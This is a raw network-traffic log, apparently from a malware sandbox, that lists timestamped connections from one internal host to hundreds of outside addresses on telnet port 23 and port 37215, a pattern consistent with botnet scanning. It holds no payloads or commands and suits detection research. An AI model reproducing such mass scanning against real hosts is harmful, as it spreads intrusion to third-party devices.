Jan 30, 2025 10:43:03.403517962 CET	38811	37215	192.168.2.13	41.22.239.74
Jan 30, 2025 10:43:03.403523922 CET	38811	37215	192.168.2.13	156.87.111.241
Jan 30, 2025 10:43:03.403534889 CET	38811	37215	192.168.2.13	197.136.21.172
Jan 30, 2025 10:43:03.403547049 CET	38811	37215	192.168.2.13	197.26.128.193
Jan 30, 2025 10:43:03.403764009 CET	54146	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:03.405368090 CET	37215	38811	197.185.189.252	192.168.2.13
Jan 30, 2025 10:43:03.405379057 CET	37215	38811	197.36.153.109	192.168.2.13
Jan 30, 2025 10:43:03.405443907 CET	37215	38811	197.172.212.135	192.168.2.13
Jan 30, 2025 10:43:03.405518055 CET	37215	38811	41.1.188.159	192.168.2.13
Jan 30, 2025 10:43:03.405528069 CET	37215	38811	41.74.151.60	192.168.2.13
Jan 30, 2025 10:43:03.405538082 CET	37215	58172	156.30.122.213	192.168.2.13
Jan 30, 2025 10:43:03.405540943 CET	38811	37215	192.168.2.13	197.185.189.252
Jan 30, 2025 10:43:03.405544996 CET	38811	37215	192.168.2.13	197.172.212.135
Jan 30, 2025 10:43:03.405546904 CET	38811	37215	192.168.2.13	197.36.153.109
Jan 30, 2025 10:43:03.405554056 CET	38811	37215	192.168.2.13	41.1.188.159
Jan 30, 2025 10:43:03.405560970 CET	37215	38811	41.64.50.6	192.168.2.13
Jan 30, 2025 10:43:03.405566931 CET	38811	37215	192.168.2.13	41.74.151.60
Jan 30, 2025 10:43:03.405575991 CET	58172	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:03.405585051 CET	37215	38811	197.70.45.166	192.168.2.13
Jan 30, 2025 10:43:03.405595064 CET	37215	38811	156.46.149.170	192.168.2.13
Jan 30, 2025 10:43:03.405627966 CET	38811	37215	192.168.2.13	156.46.149.170
Jan 30, 2025 10:43:03.405631065 CET	38811	37215	192.168.2.13	41.64.50.6
Jan 30, 2025 10:43:03.405647039 CET	38811	37215	192.168.2.13	197.70.45.166
Jan 30, 2025 10:43:03.405757904 CET	37215	38811	156.133.84.57	192.168.2.13
Jan 30, 2025 10:43:03.405767918 CET	37215	38811	197.241.185.177	192.168.2.13
Jan 30, 2025 10:43:03.405776978 CET	37215	38811	156.236.1.250	192.168.2.13
Jan 30, 2025 10:43:03.405787945 CET	37215	38811	41.54.57.228	192.168.2.13
Jan 30, 2025 10:43:03.405798912 CET	38811	37215	192.168.2.13	197.241.185.177
Jan 30, 2025 10:43:03.405798912 CET	38811	37215	192.168.2.13	156.133.84.57
Jan 30, 2025 10:43:03.405812025 CET	38811	37215	192.168.2.13	156.236.1.250
Jan 30, 2025 10:43:03.405827999 CET	38811	37215	192.168.2.13	41.54.57.228
Jan 30, 2025 10:43:03.408713102 CET	37215	54146	156.87.179.217	192.168.2.13
Jan 30, 2025 10:43:03.408782005 CET	54146	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:03.427181959 CET	40290	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:03.427191019 CET	60866	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:03.432130098 CET	80	40290	58.15.98.44	192.168.2.13
Jan 30, 2025 10:43:03.432143927 CET	37215	60866	156.177.189.159	192.168.2.13
Jan 30, 2025 10:43:03.432245970 CET	40290	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:03.432261944 CET	60866	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:03.432357073 CET	60866	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:03.432476044 CET	40290	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:03.433146954 CET	51236	37215	192.168.2.13	197.185.189.252
Jan 30, 2025 10:43:03.434010029 CET	54326	37215	192.168.2.13	197.36.153.109
Jan 30, 2025 10:43:03.434848070 CET	40324	37215	192.168.2.13	197.172.212.135
Jan 30, 2025 10:43:03.435651064 CET	40194	37215	192.168.2.13	41.1.188.159
Jan 30, 2025 10:43:03.436428070 CET	42266	37215	192.168.2.13	41.74.151.60
Jan 30, 2025 10:43:03.436564922 CET	23	41082	125.153.47.247	192.168.2.13
Jan 30, 2025 10:43:03.436733007 CET	41082	23	192.168.2.13	125.153.47.247
Jan 30, 2025 10:43:03.437273979 CET	41282	23	192.168.2.13	125.153.47.247
Jan 30, 2025 10:43:03.437468052 CET	80	40290	58.15.98.44	192.168.2.13
Jan 30, 2025 10:43:03.437478065 CET	37215	60866	156.177.189.159	192.168.2.13
Jan 30, 2025 10:43:03.437509060 CET	40290	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:03.437515974 CET	60866	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:03.438002110 CET	38884	23	192.168.2.13	73.49.249.128
Jan 30, 2025 10:43:03.438008070 CET	38884	23	192.168.2.13	119.79.110.52
Jan 30, 2025 10:43:03.438010931 CET	38884	23	192.168.2.13	1.78.55.47
Jan 30, 2025 10:43:03.438010931 CET	38884	23	192.168.2.13	197.192.162.172
Jan 30, 2025 10:43:03.438029051 CET	38884	23	192.168.2.13	50.66.54.53
Jan 30, 2025 10:43:03.438035965 CET	38884	23	192.168.2.13	142.236.66.236
Jan 30, 2025 10:43:03.438035965 CET	38884	23	192.168.2.13	67.73.63.233
Jan 30, 2025 10:43:03.438041925 CET	37215	51236	197.185.189.252	192.168.2.13
Jan 30, 2025 10:43:03.438043118 CET	38884	23	192.168.2.13	164.0.94.161
Jan 30, 2025 10:43:03.438059092 CET	38884	23	192.168.2.13	141.237.254.55
Jan 30, 2025 10:43:03.438060999 CET	38884	23	192.168.2.13	135.19.191.33
Jan 30, 2025 10:43:03.438062906 CET	38884	23	192.168.2.13	219.236.168.21
Jan 30, 2025 10:43:03.438066959 CET	38884	23	192.168.2.13	122.227.26.23
Jan 30, 2025 10:43:03.438081026 CET	38884	23	192.168.2.13	1.186.96.30
Jan 30, 2025 10:43:03.438082933 CET	38884	23	192.168.2.13	148.10.3.16
Jan 30, 2025 10:43:03.438090086 CET	51236	37215	192.168.2.13	197.185.189.252
Jan 30, 2025 10:43:03.438092947 CET	38884	23	192.168.2.13	129.239.20.224
Jan 30, 2025 10:43:03.438092947 CET	38884	23	192.168.2.13	71.27.132.117
Jan 30, 2025 10:43:03.438098907 CET	38884	23	192.168.2.13	190.161.233.121
Jan 30, 2025 10:43:03.438102007 CET	38884	23	192.168.2.13	145.183.132.181
Jan 30, 2025 10:43:03.438102961 CET	38884	23	192.168.2.13	86.219.180.66
Jan 30, 2025 10:43:03.438102961 CET	38884	23	192.168.2.13	171.186.125.187
Jan 30, 2025 10:43:03.438117027 CET	38884	23	192.168.2.13	92.59.122.190
Jan 30, 2025 10:43:03.438117981 CET	38884	23	192.168.2.13	223.205.50.10
Jan 30, 2025 10:43:03.438127995 CET	38884	23	192.168.2.13	222.193.165.110
Jan 30, 2025 10:43:03.438131094 CET	38884	23	192.168.2.13	125.3.69.202
Jan 30, 2025 10:43:03.438146114 CET	38884	23	192.168.2.13	125.34.167.85
Jan 30, 2025 10:43:03.438146114 CET	38884	23	192.168.2.13	87.85.5.65
Jan 30, 2025 10:43:03.438150883 CET	38884	23	192.168.2.13	164.218.48.93
Jan 30, 2025 10:43:03.438152075 CET	38884	23	192.168.2.13	98.205.132.90
Jan 30, 2025 10:43:03.438168049 CET	38884	23	192.168.2.13	176.197.158.188
Jan 30, 2025 10:43:03.438169003 CET	38884	23	192.168.2.13	151.57.133.56
Jan 30, 2025 10:43:03.438169956 CET	38884	23	192.168.2.13	81.247.55.245
Jan 30, 2025 10:43:03.438178062 CET	38884	23	192.168.2.13	81.109.42.211
Jan 30, 2025 10:43:03.438179970 CET	38884	23	192.168.2.13	118.65.130.7
Jan 30, 2025 10:43:03.438182116 CET	38884	23	192.168.2.13	188.122.1.235
Jan 30, 2025 10:43:03.438182116 CET	38884	23	192.168.2.13	97.236.113.130
Jan 30, 2025 10:43:03.438190937 CET	38884	23	192.168.2.13	200.149.158.29
Jan 30, 2025 10:43:03.438190937 CET	38884	23	192.168.2.13	222.52.233.34
Jan 30, 2025 10:43:03.438198090 CET	38884	23	192.168.2.13	35.91.99.189
Jan 30, 2025 10:43:03.438199997 CET	38884	23	192.168.2.13	20.10.133.245
Jan 30, 2025 10:43:03.438199997 CET	38884	23	192.168.2.13	57.184.194.233
Jan 30, 2025 10:43:03.438205957 CET	38884	23	192.168.2.13	153.46.101.29
Jan 30, 2025 10:43:03.438210964 CET	38884	23	192.168.2.13	178.65.211.124
Jan 30, 2025 10:43:03.438220024 CET	38884	23	192.168.2.13	67.92.34.145
Jan 30, 2025 10:43:03.438220024 CET	38884	23	192.168.2.13	5.0.33.239
Jan 30, 2025 10:43:03.438220024 CET	38884	23	192.168.2.13	54.48.169.56
Jan 30, 2025 10:43:03.438220978 CET	38884	23	192.168.2.13	76.73.162.166
Jan 30, 2025 10:43:03.438220978 CET	38884	23	192.168.2.13	183.49.93.161
Jan 30, 2025 10:43:03.438220978 CET	38884	23	192.168.2.13	153.65.155.33
Jan 30, 2025 10:43:03.438230991 CET	38884	23	192.168.2.13	32.136.191.34
Jan 30, 2025 10:43:03.438230991 CET	38884	23	192.168.2.13	213.60.24.4
Jan 30, 2025 10:43:03.438231945 CET	38884	23	192.168.2.13	222.180.18.36
Jan 30, 2025 10:43:03.438231945 CET	38884	23	192.168.2.13	187.71.87.196
Jan 30, 2025 10:43:03.438246012 CET	38884	23	192.168.2.13	142.85.45.114
Jan 30, 2025 10:43:03.438251019 CET	38884	23	192.168.2.13	113.185.214.194
Jan 30, 2025 10:43:03.438261986 CET	38884	23	192.168.2.13	58.80.85.47
Jan 30, 2025 10:43:03.438267946 CET	38884	23	192.168.2.13	27.248.157.116
Jan 30, 2025 10:43:03.438271999 CET	38884	23	192.168.2.13	124.222.13.83
Jan 30, 2025 10:43:03.438287020 CET	38884	23	192.168.2.13	207.126.100.210
Jan 30, 2025 10:43:03.438287020 CET	38884	23	192.168.2.13	35.30.32.117
Jan 30, 2025 10:43:03.438287973 CET	38884	23	192.168.2.13	201.252.13.122
Jan 30, 2025 10:43:03.438301086 CET	38884	23	192.168.2.13	175.238.193.241
Jan 30, 2025 10:43:03.438309908 CET	38884	23	192.168.2.13	8.107.40.162
Jan 30, 2025 10:43:03.438309908 CET	38884	23	192.168.2.13	72.26.46.69
Jan 30, 2025 10:43:03.438312054 CET	38884	23	192.168.2.13	59.221.211.50
Jan 30, 2025 10:43:03.438316107 CET	38884	23	192.168.2.13	161.119.186.108
Jan 30, 2025 10:43:03.438328028 CET	38884	23	192.168.2.13	38.201.230.192
Jan 30, 2025 10:43:03.438329935 CET	38884	23	192.168.2.13	88.77.60.64
Jan 30, 2025 10:43:03.438337088 CET	38884	23	192.168.2.13	69.78.129.188
Jan 30, 2025 10:43:03.438338995 CET	38884	23	192.168.2.13	75.240.135.104
Jan 30, 2025 10:43:03.438338995 CET	38884	23	192.168.2.13	65.195.19.19
Jan 30, 2025 10:43:03.438349962 CET	38884	23	192.168.2.13	153.27.193.222
Jan 30, 2025 10:43:03.438359022 CET	38884	23	192.168.2.13	136.210.83.229
Jan 30, 2025 10:43:03.438359976 CET	38884	23	192.168.2.13	74.207.182.78
Jan 30, 2025 10:43:03.438359976 CET	38884	23	192.168.2.13	172.90.79.69
Jan 30, 2025 10:43:03.438369036 CET	38884	23	192.168.2.13	60.204.19.78
Jan 30, 2025 10:43:03.438383102 CET	38884	23	192.168.2.13	72.128.160.215
Jan 30, 2025 10:43:03.438383102 CET	38884	23	192.168.2.13	118.28.189.159
Jan 30, 2025 10:43:03.438384056 CET	38884	23	192.168.2.13	200.64.230.141
Jan 30, 2025 10:43:03.438383102 CET	38884	23	192.168.2.13	111.186.40.114
Jan 30, 2025 10:43:03.438391924 CET	38884	23	192.168.2.13	97.151.28.156
Jan 30, 2025 10:43:03.438401937 CET	38884	23	192.168.2.13	216.75.54.114
Jan 30, 2025 10:43:03.438401937 CET	38884	23	192.168.2.13	173.132.106.147
Jan 30, 2025 10:43:03.438407898 CET	38884	23	192.168.2.13	18.102.174.21
Jan 30, 2025 10:43:03.438410997 CET	38884	23	192.168.2.13	182.40.96.83
Jan 30, 2025 10:43:03.438427925 CET	38884	23	192.168.2.13	71.80.247.7
Jan 30, 2025 10:43:03.438427925 CET	38884	23	192.168.2.13	84.157.53.133
Jan 30, 2025 10:43:03.438435078 CET	38884	23	192.168.2.13	208.27.17.106
Jan 30, 2025 10:43:03.438442945 CET	38884	23	192.168.2.13	80.202.232.207
Jan 30, 2025 10:43:03.438442945 CET	38884	23	192.168.2.13	199.152.227.50
Jan 30, 2025 10:43:03.438452959 CET	38884	23	192.168.2.13	54.55.126.172
Jan 30, 2025 10:43:03.438456059 CET	38884	23	192.168.2.13	97.162.169.36
Jan 30, 2025 10:43:03.438466072 CET	38884	23	192.168.2.13	221.81.41.50
Jan 30, 2025 10:43:03.438468933 CET	38884	23	192.168.2.13	131.100.113.64
Jan 30, 2025 10:43:03.438473940 CET	38884	23	192.168.2.13	69.255.14.207
Jan 30, 2025 10:43:03.438483953 CET	38884	23	192.168.2.13	49.46.212.6
Jan 30, 2025 10:43:03.438493967 CET	38884	23	192.168.2.13	12.253.134.132
Jan 30, 2025 10:43:03.438493967 CET	38884	23	192.168.2.13	199.220.9.93
Jan 30, 2025 10:43:03.438508987 CET	38884	23	192.168.2.13	58.15.69.8
Jan 30, 2025 10:43:03.438510895 CET	38884	23	192.168.2.13	187.71.239.67
Jan 30, 2025 10:43:03.438514948 CET	38884	23	192.168.2.13	58.70.73.31
Jan 30, 2025 10:43:03.438525915 CET	38884	23	192.168.2.13	98.88.181.176
Jan 30, 2025 10:43:03.438532114 CET	38884	23	192.168.2.13	218.151.249.87
Jan 30, 2025 10:43:03.438532114 CET	38884	23	192.168.2.13	169.230.230.181
Jan 30, 2025 10:43:03.438554049 CET	38884	23	192.168.2.13	169.85.61.243
Jan 30, 2025 10:43:03.438555002 CET	38884	23	192.168.2.13	109.12.112.230
Jan 30, 2025 10:43:03.438555002 CET	38884	23	192.168.2.13	217.48.253.157
Jan 30, 2025 10:43:03.438556910 CET	38884	23	192.168.2.13	71.53.7.55
Jan 30, 2025 10:43:03.438556910 CET	38884	23	192.168.2.13	1.18.146.250
Jan 30, 2025 10:43:03.438561916 CET	38884	23	192.168.2.13	143.9.63.127
Jan 30, 2025 10:43:03.438564062 CET	38884	23	192.168.2.13	149.110.171.100
Jan 30, 2025 10:43:03.438565016 CET	38884	23	192.168.2.13	150.107.213.194
Jan 30, 2025 10:43:03.438565016 CET	38884	23	192.168.2.13	145.250.188.5
Jan 30, 2025 10:43:03.438569069 CET	38884	23	192.168.2.13	156.214.233.58
Jan 30, 2025 10:43:03.438580990 CET	38884	23	192.168.2.13	105.224.246.110
Jan 30, 2025 10:43:03.438585997 CET	38884	23	192.168.2.13	205.51.176.73
Jan 30, 2025 10:43:03.438586950 CET	38884	23	192.168.2.13	19.161.225.118
Jan 30, 2025 10:43:03.438591957 CET	38884	23	192.168.2.13	84.138.115.127
Jan 30, 2025 10:43:03.438601971 CET	38884	23	192.168.2.13	71.74.206.132
Jan 30, 2025 10:43:03.438601971 CET	38884	23	192.168.2.13	86.60.52.105
Jan 30, 2025 10:43:03.438616991 CET	38884	23	192.168.2.13	17.59.130.46
Jan 30, 2025 10:43:03.438616991 CET	38884	23	192.168.2.13	84.53.98.221
Jan 30, 2025 10:43:03.438623905 CET	38884	23	192.168.2.13	9.80.0.124
Jan 30, 2025 10:43:03.438648939 CET	38884	23	192.168.2.13	223.148.156.86
Jan 30, 2025 10:43:03.438648939 CET	38884	23	192.168.2.13	80.99.231.70
Jan 30, 2025 10:43:03.438648939 CET	38884	23	192.168.2.13	5.231.14.191
Jan 30, 2025 10:43:03.438651085 CET	38884	23	192.168.2.13	135.66.18.184
Jan 30, 2025 10:43:03.438662052 CET	38884	23	192.168.2.13	100.171.172.234
Jan 30, 2025 10:43:03.438662052 CET	38884	23	192.168.2.13	195.230.56.170
Jan 30, 2025 10:43:03.438662052 CET	38884	23	192.168.2.13	93.90.100.158
Jan 30, 2025 10:43:03.438663960 CET	38884	23	192.168.2.13	78.226.111.101
Jan 30, 2025 10:43:03.438663960 CET	38884	23	192.168.2.13	212.3.80.18
Jan 30, 2025 10:43:03.438663960 CET	38884	23	192.168.2.13	63.218.166.6
Jan 30, 2025 10:43:03.438673973 CET	38884	23	192.168.2.13	82.11.12.239
Jan 30, 2025 10:43:03.438673973 CET	38884	23	192.168.2.13	153.224.1.22
Jan 30, 2025 10:43:03.438677073 CET	38884	23	192.168.2.13	167.98.93.89
Jan 30, 2025 10:43:03.438677073 CET	38884	23	192.168.2.13	197.68.146.157
Jan 30, 2025 10:43:03.438682079 CET	38884	23	192.168.2.13	100.157.191.151
Jan 30, 2025 10:43:03.438682079 CET	38884	23	192.168.2.13	143.75.178.111
Jan 30, 2025 10:43:03.438683033 CET	38884	23	192.168.2.13	100.14.28.248
Jan 30, 2025 10:43:03.438685894 CET	38884	23	192.168.2.13	126.231.45.28
Jan 30, 2025 10:43:03.438698053 CET	38884	23	192.168.2.13	170.158.189.245
Jan 30, 2025 10:43:03.438699007 CET	38884	23	192.168.2.13	48.194.119.152
Jan 30, 2025 10:43:03.438699961 CET	38884	23	192.168.2.13	217.104.226.205
Jan 30, 2025 10:43:03.438699007 CET	38884	23	192.168.2.13	185.207.190.190
Jan 30, 2025 10:43:03.438699961 CET	38884	23	192.168.2.13	60.23.19.229
Jan 30, 2025 10:43:03.438699961 CET	38884	23	192.168.2.13	44.37.16.208
Jan 30, 2025 10:43:03.438699961 CET	38884	23	192.168.2.13	59.64.106.52
Jan 30, 2025 10:43:03.438704014 CET	38884	23	192.168.2.13	220.222.4.170
Jan 30, 2025 10:43:03.438707113 CET	38884	23	192.168.2.13	167.191.241.134
Jan 30, 2025 10:43:03.438709021 CET	38884	23	192.168.2.13	207.101.103.57
Jan 30, 2025 10:43:03.438714981 CET	38884	23	192.168.2.13	211.88.21.61
Jan 30, 2025 10:43:03.438714981 CET	38884	23	192.168.2.13	36.225.237.88
Jan 30, 2025 10:43:03.438714981 CET	38884	23	192.168.2.13	178.225.123.69
Jan 30, 2025 10:43:03.438719988 CET	38884	23	192.168.2.13	121.123.56.92
Jan 30, 2025 10:43:03.438719988 CET	38884	23	192.168.2.13	83.145.242.114
Jan 30, 2025 10:43:03.438719988 CET	38884	23	192.168.2.13	52.182.175.15
Jan 30, 2025 10:43:03.438721895 CET	38884	23	192.168.2.13	223.29.100.205
Jan 30, 2025 10:43:03.438729048 CET	38884	23	192.168.2.13	17.220.72.145
Jan 30, 2025 10:43:03.438730001 CET	38884	23	192.168.2.13	65.243.205.170
Jan 30, 2025 10:43:03.438730001 CET	38884	23	192.168.2.13	211.71.241.223
Jan 30, 2025 10:43:03.438735962 CET	38884	23	192.168.2.13	149.139.223.121
Jan 30, 2025 10:43:03.438735962 CET	38884	23	192.168.2.13	139.113.107.175
Jan 30, 2025 10:43:03.438739061 CET	38884	23	192.168.2.13	44.114.216.42
Jan 30, 2025 10:43:03.438745022 CET	38884	23	192.168.2.13	59.71.21.2
Jan 30, 2025 10:43:03.438755989 CET	38884	23	192.168.2.13	156.61.9.178
Jan 30, 2025 10:43:03.438755989 CET	38884	23	192.168.2.13	113.117.243.216
Jan 30, 2025 10:43:03.438762903 CET	38884	23	192.168.2.13	40.93.58.51
Jan 30, 2025 10:43:03.438771963 CET	38884	23	192.168.2.13	176.192.222.190
Jan 30, 2025 10:43:03.438776970 CET	38884	23	192.168.2.13	153.192.192.180
Jan 30, 2025 10:43:03.438777924 CET	38884	23	192.168.2.13	111.10.148.42
Jan 30, 2025 10:43:03.438791037 CET	38884	23	192.168.2.13	218.152.245.93
Jan 30, 2025 10:43:03.438791037 CET	38884	23	192.168.2.13	171.170.15.137
Jan 30, 2025 10:43:03.438798904 CET	38884	23	192.168.2.13	180.144.246.141
Jan 30, 2025 10:43:03.438824892 CET	38884	23	192.168.2.13	169.105.247.106
Jan 30, 2025 10:43:03.438827038 CET	38884	23	192.168.2.13	47.23.239.216
Jan 30, 2025 10:43:03.438827038 CET	38884	23	192.168.2.13	48.47.105.84
Jan 30, 2025 10:43:03.438827038 CET	38884	23	192.168.2.13	103.160.168.227
Jan 30, 2025 10:43:03.438823938 CET	38884	23	192.168.2.13	74.101.234.239
Jan 30, 2025 10:43:03.438839912 CET	38884	23	192.168.2.13	163.181.115.154
Jan 30, 2025 10:43:03.438842058 CET	38884	23	192.168.2.13	42.155.61.141
Jan 30, 2025 10:43:03.438847065 CET	38884	23	192.168.2.13	209.44.28.193
Jan 30, 2025 10:43:03.438849926 CET	38884	23	192.168.2.13	119.27.210.65
Jan 30, 2025 10:43:03.438847065 CET	38884	23	192.168.2.13	75.143.121.101
Jan 30, 2025 10:43:03.438849926 CET	38884	23	192.168.2.13	67.14.32.183
Jan 30, 2025 10:43:03.438858032 CET	38884	23	192.168.2.13	89.188.57.72
Jan 30, 2025 10:43:03.438858032 CET	38884	23	192.168.2.13	1.18.93.0
Jan 30, 2025 10:43:03.438864946 CET	38884	23	192.168.2.13	59.238.94.20
Jan 30, 2025 10:43:03.438874960 CET	38884	23	192.168.2.13	98.210.179.137
Jan 30, 2025 10:43:03.438883066 CET	38884	23	192.168.2.13	219.163.117.249
Jan 30, 2025 10:43:03.438889027 CET	38884	23	192.168.2.13	64.214.79.63
Jan 30, 2025 10:43:03.438890934 CET	38884	23	192.168.2.13	119.55.142.184
Jan 30, 2025 10:43:03.438895941 CET	38884	23	192.168.2.13	36.24.210.188
Jan 30, 2025 10:43:03.438899994 CET	38884	23	192.168.2.13	119.68.189.205
Jan 30, 2025 10:43:03.438905001 CET	38884	23	192.168.2.13	190.166.2.83
Jan 30, 2025 10:43:03.438909054 CET	38884	23	192.168.2.13	131.178.1.127
Jan 30, 2025 10:43:03.438918114 CET	38884	23	192.168.2.13	106.6.252.23
Jan 30, 2025 10:43:03.438927889 CET	38884	23	192.168.2.13	160.105.229.251
Jan 30, 2025 10:43:03.438930988 CET	38884	23	192.168.2.13	129.226.7.54
Jan 30, 2025 10:43:03.438934088 CET	38884	23	192.168.2.13	154.0.219.125
Jan 30, 2025 10:43:03.438934088 CET	38884	23	192.168.2.13	155.110.216.78
Jan 30, 2025 10:43:03.438944101 CET	38884	23	192.168.2.13	172.159.21.88
Jan 30, 2025 10:43:03.438956022 CET	38884	23	192.168.2.13	59.106.93.134
Jan 30, 2025 10:43:03.438961029 CET	38884	23	192.168.2.13	198.175.213.243
Jan 30, 2025 10:43:03.438965082 CET	38884	23	192.168.2.13	140.66.171.118
Jan 30, 2025 10:43:03.438973904 CET	38884	23	192.168.2.13	41.173.30.98
Jan 30, 2025 10:43:03.438980103 CET	38884	23	192.168.2.13	107.23.240.2
Jan 30, 2025 10:43:03.438981056 CET	38884	23	192.168.2.13	179.99.108.245
Jan 30, 2025 10:43:03.438987970 CET	38884	23	192.168.2.13	14.93.236.64
Jan 30, 2025 10:43:03.438993931 CET	38884	23	192.168.2.13	107.175.170.60
Jan 30, 2025 10:43:03.438997984 CET	38884	23	192.168.2.13	1.187.200.62
Jan 30, 2025 10:43:03.439002037 CET	38884	23	192.168.2.13	206.122.9.223
Jan 30, 2025 10:43:03.439018011 CET	38884	23	192.168.2.13	223.113.2.192
Jan 30, 2025 10:43:03.439018011 CET	38884	23	192.168.2.13	171.222.105.204
Jan 30, 2025 10:43:03.439018011 CET	38884	23	192.168.2.13	113.133.152.48
Jan 30, 2025 10:43:03.439026117 CET	38884	23	192.168.2.13	148.87.126.229
Jan 30, 2025 10:43:03.439026117 CET	38884	23	192.168.2.13	101.39.156.91
Jan 30, 2025 10:43:03.439033985 CET	38884	23	192.168.2.13	31.224.28.168
Jan 30, 2025 10:43:03.439033985 CET	38884	23	192.168.2.13	44.237.249.14
Jan 30, 2025 10:43:03.439033985 CET	38884	23	192.168.2.13	63.102.47.37
Jan 30, 2025 10:43:03.439038992 CET	38884	23	192.168.2.13	148.226.99.88
Jan 30, 2025 10:43:03.439043045 CET	38884	23	192.168.2.13	190.221.125.40
Jan 30, 2025 10:43:03.439043045 CET	38884	23	192.168.2.13	123.48.238.151
Jan 30, 2025 10:43:03.439048052 CET	38884	23	192.168.2.13	9.82.61.244
Jan 30, 2025 10:43:03.439063072 CET	38884	23	192.168.2.13	207.105.19.245
Jan 30, 2025 10:43:03.439068079 CET	38884	23	192.168.2.13	90.82.58.1
Jan 30, 2025 10:43:03.439075947 CET	38884	23	192.168.2.13	200.128.67.141
Jan 30, 2025 10:43:03.439078093 CET	38884	23	192.168.2.13	203.255.8.63
Jan 30, 2025 10:43:03.439080954 CET	38884	23	192.168.2.13	154.136.49.20
Jan 30, 2025 10:43:03.439085007 CET	38884	23	192.168.2.13	141.105.186.245
Jan 30, 2025 10:43:03.439088106 CET	38884	23	192.168.2.13	74.252.204.86
Jan 30, 2025 10:43:03.439105034 CET	38884	23	192.168.2.13	73.245.0.244
Jan 30, 2025 10:43:03.439106941 CET	38884	23	192.168.2.13	125.216.41.205
Jan 30, 2025 10:43:03.439106941 CET	38884	23	192.168.2.13	72.227.181.155
Jan 30, 2025 10:43:03.439109087 CET	38884	23	192.168.2.13	178.85.230.169
Jan 30, 2025 10:43:03.439109087 CET	38884	23	192.168.2.13	113.63.80.121
Jan 30, 2025 10:43:03.439110994 CET	38884	23	192.168.2.13	183.38.89.46
Jan 30, 2025 10:43:03.439119101 CET	38884	23	192.168.2.13	47.226.229.66
Jan 30, 2025 10:43:03.439119101 CET	38884	23	192.168.2.13	198.122.10.45
Jan 30, 2025 10:43:03.439120054 CET	38884	23	192.168.2.13	128.92.87.193
Jan 30, 2025 10:43:03.439143896 CET	38884	23	192.168.2.13	84.58.236.139
Jan 30, 2025 10:43:03.439146996 CET	38884	23	192.168.2.13	131.55.236.235
Jan 30, 2025 10:43:03.439148903 CET	38884	23	192.168.2.13	191.90.150.215
Jan 30, 2025 10:43:03.439152956 CET	38884	23	192.168.2.13	48.105.127.189
Jan 30, 2025 10:43:03.439165115 CET	38884	23	192.168.2.13	145.48.255.242
Jan 30, 2025 10:43:03.439171076 CET	38884	23	192.168.2.13	151.154.182.171
Jan 30, 2025 10:43:03.439173937 CET	38884	23	192.168.2.13	129.235.93.249
Jan 30, 2025 10:43:03.439177036 CET	38884	23	192.168.2.13	209.89.254.57
Jan 30, 2025 10:43:03.439184904 CET	38884	23	192.168.2.13	163.89.67.65
Jan 30, 2025 10:43:03.439188004 CET	38884	23	192.168.2.13	96.108.232.180
Jan 30, 2025 10:43:03.439196110 CET	38884	23	192.168.2.13	78.234.76.232
Jan 30, 2025 10:43:03.439198971 CET	38884	23	192.168.2.13	166.210.33.252
Jan 30, 2025 10:43:03.439205885 CET	38884	23	192.168.2.13	211.24.146.25
Jan 30, 2025 10:43:03.439207077 CET	38884	23	192.168.2.13	131.134.52.57
Jan 30, 2025 10:43:03.439208984 CET	38884	23	192.168.2.13	195.166.154.218
Jan 30, 2025 10:43:03.439213037 CET	38884	23	192.168.2.13	102.11.69.26
Jan 30, 2025 10:43:03.439213991 CET	38884	23	192.168.2.13	163.161.127.94
Jan 30, 2025 10:43:03.439215899 CET	38884	23	192.168.2.13	217.98.13.106
Jan 30, 2025 10:43:03.439215899 CET	38884	23	192.168.2.13	62.134.113.80
Jan 30, 2025 10:43:03.439220905 CET	38884	23	192.168.2.13	75.25.28.125
Jan 30, 2025 10:43:03.439227104 CET	38884	23	192.168.2.13	75.118.153.245
Jan 30, 2025 10:43:03.439228058 CET	38884	23	192.168.2.13	66.76.45.9
Jan 30, 2025 10:43:03.439230919 CET	38884	23	192.168.2.13	79.252.141.33
Jan 30, 2025 10:43:03.439232111 CET	38884	23	192.168.2.13	60.56.23.52
Jan 30, 2025 10:43:03.439234972 CET	38884	23	192.168.2.13	192.220.105.72
Jan 30, 2025 10:43:03.439243078 CET	38884	23	192.168.2.13	97.127.195.141
Jan 30, 2025 10:43:03.439249992 CET	38884	23	192.168.2.13	34.216.25.224
Jan 30, 2025 10:43:03.439260006 CET	38884	23	192.168.2.13	2.32.7.98
Jan 30, 2025 10:43:03.439266920 CET	38884	23	192.168.2.13	53.249.144.196
Jan 30, 2025 10:43:03.439268112 CET	38884	23	192.168.2.13	78.25.198.77
Jan 30, 2025 10:43:03.439269066 CET	38884	23	192.168.2.13	14.64.171.203
Jan 30, 2025 10:43:03.439280033 CET	38884	23	192.168.2.13	183.33.78.200
Jan 30, 2025 10:43:03.439281940 CET	38884	23	192.168.2.13	150.251.111.88
Jan 30, 2025 10:43:03.439282894 CET	38884	23	192.168.2.13	156.6.184.16
Jan 30, 2025 10:43:03.439282894 CET	38884	23	192.168.2.13	188.47.185.90
Jan 30, 2025 10:43:03.439285040 CET	38884	23	192.168.2.13	129.206.160.226
Jan 30, 2025 10:43:03.439285040 CET	38884	23	192.168.2.13	103.232.43.20
Jan 30, 2025 10:43:03.439285994 CET	38884	23	192.168.2.13	103.236.60.154
Jan 30, 2025 10:43:03.439285994 CET	38884	23	192.168.2.13	196.146.26.51
Jan 30, 2025 10:43:03.439285994 CET	38884	23	192.168.2.13	222.63.102.105
Jan 30, 2025 10:43:03.439291954 CET	38884	23	192.168.2.13	58.52.52.2
Jan 30, 2025 10:43:03.439291954 CET	38884	23	192.168.2.13	174.180.227.157
Jan 30, 2025 10:43:03.439292908 CET	38884	23	192.168.2.13	25.200.169.224
Jan 30, 2025 10:43:03.439299107 CET	38884	23	192.168.2.13	117.245.127.66
Jan 30, 2025 10:43:03.439301968 CET	38884	23	192.168.2.13	103.191.76.207
